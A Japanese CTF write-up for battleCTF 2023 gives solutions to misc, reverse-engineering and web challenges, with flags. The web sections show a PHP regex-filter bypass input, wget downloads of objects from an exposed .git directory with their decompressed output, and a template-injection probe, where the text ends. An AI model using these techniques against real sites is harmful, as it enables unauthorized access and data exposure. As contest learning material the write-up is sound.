この大会は2023/6/24 10:00(JST)~2023/6/26 8:00(JST)に開催されました。
この大会は個人戦。結果は3500点で361人中36位でした。
自分で解けた問題をWriteupとして書いておきます。
Discord (Misc 50)
Discordに入り、#announcementsチャネルのルールにフラグの例が書いてあった。
battleCTF{WeLoveAfrica}
Go (Misc 100)
シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
ROT13 battleCTF{EndTime_is_great}
battleCTF{EndTime_is_great}
SEYI (Reverse 150)
$ strings seyi | grep -a3 -b3 CTF 756-AVSH 761-/bin/echH 771-o "battlH 781:eCTF{TheH 791-_path_toH 801-path_to_H 811-light}" H
battleCTF{The_path_to_light}
babyrev (Reverse 200)
$ strings babyrev : : Valid code... ! Invalid code...! ;*3$" qpiiatRIU{Pvqp_Ugt3_UDDS_Stn_d0D!_85864r1277qu8195pqqtp6540494pr46} GCC: (Debian 12.2.0-1) 12.2.0 Scrt1.o __abi_tag crtstuff.c : :
フラグのシーザー暗号のようなものがある。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。
Rotation 15: battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46}
battleCTF{Agba_Fre3_FOOD_Dey_o0O!_85864c1277bf8195abbea6540494ac46}
Civilization (Web 100)
http://chall.battlectf.online:8080/?sourceにアクセスしてみると、以下のコードを確認することができた。
<?php require("./flag.php"); if(isset($_GET['source'])){ highlight_file(__FILE__); } if(isset($_GET['ami'])){ $input = $_GET['ami']; $cigar = 'africacradlecivilization'; if (preg_replace("/$cigar/",'',$input) === $cigar) { africa(); } } include("home.html"); ?>
'africacradlecivilization'の文字列の中に'africacradlecivilization'を入れ、africa()の実行条件を満たすようにする。
http://chall.battlectf.online:8080/?ami=africaafricacradlecivilizationcradlecivilizationにアクセスすると、上部にフラグが表示された。
Here is your invite code for this Africa Event: battleCTF{pr3gr4plAcebyp455_0x0x0x0x}
battleCTF{pr3gr4plAcebyp455_0x0x0x0x}
Own reality (Web 150)
http://chall.battlectf.online:8082/.git/にアクセスすると、gitのディレクトリ階層が見れる。オブジェクトの数もそれほど多くないので一つ一つ見ていく。
$ wget http://chall.battlectf.online:8082/.git/objects/ff/092a2d7c85f81a47131b7ef303ba8ece1a8492 --2023-06-24 17:54:43-- http://chall.battlectf.online:8082/.git/objects/ff/092a2d7c85f81a47131b7ef303ba8ece1a8492 chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39 chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 153 [application/octet-stream] `092a2d7c85f81a47131b7ef303ba8ece1a8492' に保存中 092a2d7c85f81a47131b7ef303ba8ece 100%[=========================================================>] 153 --.-KB/s 時間 0s 2023-06-24 17:54:43 (24.2 MB/s) - `092a2d7c85f81a47131b7ef303ba8ece1a8492' へ保存完了 [153/153] $ python2 -c 'import zlib; print zlib.decompress(open("092a2d7c85f81a47131b7ef303ba8ece1a8492").read())' commit 219tree 5301da49ce8a2d6123a62a1e5aaac8083851bf90 parent a1346a3abab8f97748e5480b61eb6824d4692f44 author w31rdr4v3n <w31rd.rav3n@gmail.com> 1682499482 -0400 committer w31rdr4v3n <w31rd.rav3n@gmail.com> 1682499482 -0400 Ok $ wget http://chall.battlectf.online:8082/.git/objects/53/01da49ce8a2d6123a62a1e5aaac8083851bf90 --2023-06-24 17:56:37-- http://chall.battlectf.online:8082/.git/objects/53/01da49ce8a2d6123a62a1e5aaac8083851bf90 chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39 chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 86 [application/octet-stream] `01da49ce8a2d6123a62a1e5aaac8083851bf90' に保存中 01da49ce8a2d6123a62a1e5aaac80838 100%[=========================================================>] 86 --.-KB/s 時間 0s 2023-06-24 17:56:37 (5.69 MB/s) - `01da49ce8a2d6123a62a1e5aaac8083851bf90' へ保存完了 [86/86] $ python2 -c 'import zlib; print zlib.decompress(open("01da49ce8a2d6123a62a1e5aaac8083851bf90").read())' | xxd -g 1 00000000: 74 72 65 65 20 37 33 00 31 30 30 37 35 35 20 61 tree 73.100755 a 00000010: 6d 69 2e 6a 70 67 00 d1 18 3f 3b b9 e0 75 87 1e mi.jpg...?;..u.. 00000020: 46 bb 37 9b 2b 73 0c aa 0a b5 25 31 30 30 37 35 F.7.+s....%10075 00000030: 35 20 69 6e 64 65 78 2e 68 74 6d 6c 00 c1 d1 7b 5 index.html...{ 00000040: 3f b5 98 16 13 f3 a9 9e b1 f2 fb 43 bd 2b 3c e7 ?..........C.+<. 00000050: c3 0a .. $ wget http://chall.battlectf.online:8082/.git/objects/d1/183f3bb9e075871e46bb379b2b730caa0ab525 --2023-06-24 17:59:01-- http://chall.battlectf.online:8082/.git/objects/d1/183f3bb9e075871e46bb379b2b730caa0ab525 chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39 chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 389372 (380K) [application/octet-stream] `183f3bb9e075871e46bb379b2b730caa0ab525' に保存中 183f3bb9e075871e46bb379b2b730caa 100%[=========================================================>] 380.25K 448KB/s 時間 0.8s 2023-06-24 17:59:02 (448 KB/s) - `183f3bb9e075871e46bb379b2b730caa0ab525' へ保存完了 [389372/389372] $ python2 -c 'import zlib; print zlib.decompress(open("183f3bb9e075871e46bb379b2b730caa0ab525").read())' : $ wget http://chall.battlectf.online:8082/.git/objects/c1/d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3 --2023-06-24 18:03:41-- http://chall.battlectf.online:8082/.git/objects/c1/d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3 chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39 chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 868 [application/octet-stream] `d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3' に保存中 d17b3fb5981613f3a99eb1f2fb43bd2b 100%[=========================================================>] 868 --.-KB/s 時間 0s 2023-06-24 18:03:41 (221 MB/s) - `d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3' へ保存完了 [868/868] $ python2 -c 'import zlib; print zlib.decompress(open("d17b3fb5981613f3a99eb1f2fb43bd2b3ce7c3").read())' blob 1709<!DOCTYPE html> <html> <head> <title>Welcome to Africa</title> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <style> body { background-image: url("ami.jpg"); background-size: cover; background-position: center center; font-family: Arial, sans-serif; color: #fff; margin: 0; padding: 0; height: 100vh; display: flex; flex-direction: column; justify-content: center; align-items: center; } h1 { font-size: 5rem; margin: 0; text-align: center; text-shadow: 2px 2px 8px rgba(0, 0, 0, 0.6); } p { font-size: 1.5rem; margin: 1rem 0; text-align: center; text-shadow: 1px 1px 4px rgba(0, 0, 0, 0.6); } .container { max-width: 800px; margin: 0 auto; text-align: center; padding: 50px; background-color: rgba(0, 0, 0, 0.5); } </style> </head> <body> <h1>Welcome to Africa</h1> <p>Discover the beauty of the continent</p> <body> <div class="container"> <p>Africa is the world's second-largest and second-most populous continent, located primarily in the eastern hemisphere. It is rich in natural resources, with diverse cultures and languages that make it one of the most unique places on earth. From the Sahara Desert to the savannas, rainforests, and coastal areas, Africa is home to a variety of flora and fauna, including the "Big Five" game animals. Despite its many challenges, Africa is a continent with great potential for growth and development, and its people are resilient, resourceful, and proud of their heritage.</p> <br> </div> </body> </html> $ wget http://chall.battlectf.online:8082/.git/objects/a1/346a3abab8f97748e5480b61eb6824d4692f44 --2023-06-24 18:06:00-- http://chall.battlectf.online:8082/.git/objects/a1/346a3abab8f97748e5480b61eb6824d4692f44 chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39 chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 128 [application/octet-stream] `346a3abab8f97748e5480b61eb6824d4692f44' に保存中 346a3abab8f97748e5480b61eb6824d4 100%[=========================================================>] 128 --.-KB/s 時間 0s 2023-06-24 18:06:00 (9.54 MB/s) - `346a3abab8f97748e5480b61eb6824d4692f44' へ保存完了 [128/128] $ python2 -c 'import zlib; print zlib.decompress(open("346a3abab8f97748e5480b61eb6824d4692f44").read())' commit 177tree 189557a7f248736afe87d19a2a99e77d09dfe165 author w31rdr4v3n <w31rd.rav3n@gmail.com> 1682499374 -0400 committer w31rdr4v3n <w31rd.rav3n@gmail.com> 1682499374 -0400 Sability $ wget http://chall.battlectf.online:8082/.git/objects/25/7df32e0eaa644e4a7658ebc4ba551d314d14f9 --2023-06-24 18:07:54-- http://chall.battlectf.online:8082/.git/objects/25/7df32e0eaa644e4a7658ebc4ba551d314d14f9 chall.battlectf.online (chall.battlectf.online) をDNSに問いあわせています... 3.145.51.39 chall.battlectf.online (chall.battlectf.online)|3.145.51.39|:8082 に接続しています... 接続しました。 HTTP による接続要求を送信しました、応答を待っています... 200 OK 長さ: 4785 (4.7K) [application/octet-stream] `7df32e0eaa644e4a7658ebc4ba551d314d14f9' に保存中 7df32e0eaa644e4a7658ebc4ba551d31 100%[=========================================================>] 4.67K --.-KB/s 時間 0s 2023-06-24 18:07:55 (805 MB/s) - `7df32e0eaa644e4a7658ebc4ba551d314d14f9' へ保存完了 [4785/4785] $ python2 -c 'import zlib; print zlib.decompress(open("7df32e0eaa644e4a7658ebc4ba551d314d14f9").read())' blob 17639[<class 'type'>, <class 'async_generator'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class '_contextvars.Token'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Context'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'int'>, <class 'map'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'zip'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'Token.MISSING'>, <class 'coroutine_wrapper'>, <class 'generic_alias_iterator'>, <class 'items'>, <class 'keys'>, <class 'values'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'hamt'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'memory_iterator'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'str_ascii_iterator'>, <class 'types.UnionType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io.IncrementalNewlineDecoder'>, <class '_io._BytesIOBuffer'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external.NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib._abc.Loader'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'ast.AST'>, <class 'enum.nonmember'>, <class 'enum.member'>, <class 'enum._auto_null'>, <class 'enum.auto'>, <class 'enum._proto_member'>, <enum 'Enum'>, <class 'enum.verify'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 're._parser.State'>, <class 're._parser.SubPattern'>, <class 're._parser.Tokenizer'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing._NotIterable'>, typing.Any, <class 'typing._PickleUsingNameMixin'>, <class 'typing._BoundVarianceMixin'>, <class 'typing.Generic'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.NewType'>, <class 'typing.io'>, <class 'typing.re'>, <class 'markupsafe._MarkupEscapeHelper'>, <class 'platform._Processor'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class '_socket.socket'>, <class 'array.array'>, <class 'array.arrayiterator'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.SSLSession'>, <class '_ssl.Certificate'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'ast.NodeVisitor'>, <class 'dis._Unknown'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'textwrap.TextWrapper'>, <class 'traceback._Sentinel'>, <class 'traceback.FrameSummary'>, <class 'traceback._ExceptionPrintContext'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._KW_ONLY_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'unicodedata.UCD'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'uuid.UUID'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'numbers.Number'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class '__future__._Feature'>, <class 'greenlet.greenlet'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'blinker._saferef.BoundMethodWeakref'>, <class 'blinker._utilities._symbol'>, <class 'blinker._utilities.symbol'>, <class 'blinker._utilities.lazy_property'>, <class 'blinker.base.Signal'>, <class 'dotenv.parser.Position'>, <class 'dotenv.parser.Reader'>, <class 'dotenv.variables.Atom'>, <class 'dotenv.main.DotEnv'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous.serializer.Serializer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'codeop.Compile'>, <class 'codeop.CommandCompiler'>, <class 'code.InteractiveInterpreter'>, <class 'werkzeug.debug.repr._Helper'>, <class 'werkzeug.debug.repr.DebugReprGenerator'>, <class 'werkzeug.debug.console.HTMLStringO'>, <class 'werkzeug.debug.console.ThreadedStream'>, <class 'werkzeug.debug.console._ConsoleLoader'>, <class 'werkzeug.debug.console.Console'>, <class 'werkzeug.debug.tbtools.Line'>, <class 'werkzeug.debug.tbtools.Traceback'>, <class 'werkzeug.debug.tbtools.Group'>, <class 'werkzeug.debug.tbtools.Frame'>, <class 'werkzeug.debug._ConsoleFrame'>, <class 'werkzeug.debug.DebuggedApplication'>, <class 'colorama.ansi.AnsiCodes'>, <class 'colorama.ansi.AnsiCursor'>, <class 'CArgObject'>, <class '_ctypes.CThunkObject'>, <class '_ctypes._CData'>, <class '_ctypes.CField'>, <class '_ctypes.DictRemover'>, <class '_ctypes.StructParam_Type'>, <class 'ctypes.CDLL'>, <class 'ctypes.LibraryLoader'>, <class 'ctypes._endian._swapped_meta'>, <class 'colorama.winterm.WinColor'>, <class 'colorama.winterm.WinStyle'>, <class 'colorama.winterm.WinTerm'>, <class 'colorama.ansitowin32.StreamWrapper'>, <class 'colorama.ansitowin32.AnsiToWin32'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'pathlib._Flavour'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'werkzeug._reloader.ReloaderLoop'>] .__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._
最後に"."と"_"で構成された文字列がある。"."を"0"、"_"を"1"にしてデコードする。
#!/usr/bin/env python3 enc = '.__..._..__...._.___._...___._...__.__...__.._._._....__._._._..._...__..____.__._._._._.__.___..__._.__.__.___..__.____.___.___.__.___.._._____.__..._..__._.._.___._...___..__._._____..__..__..___.....__._...__.._._.__.._._.__...._..__._....___.._.__..._...__._....__..._..__.___.__.._._.__.._._..__.._..__..__..__..__...__._._.__...._..__..._..__..__.__..__..__..._..__.._...__...__.__...__.__...._..__.__..__..__...__..__..__.._...__.___._____._' enc = enc.replace('.', '0').replace('_', '1') flag = '' for i in range(0, len(enc), 8): flag += chr(int(enc[i:i+8], 2)) print(flag)
battleCTF{Unknown_bits_384eea49b417ee2ff5a13fbdcca6f327}
Cobalt Injection (Web 200)
HTMLソースを見ると以下のようなコメントがある。
<!-- IP?capital=Benin -->
http://chall.battlectf.online:8085/?capital=Kinshasaにアクセスする。正解だけど、それ以上の情報は表示されない。
http://chall.battlectf.online:8085/?capital={{7*7}}にアクセスすると、49と表示されたので、いろいろ指定してみる。
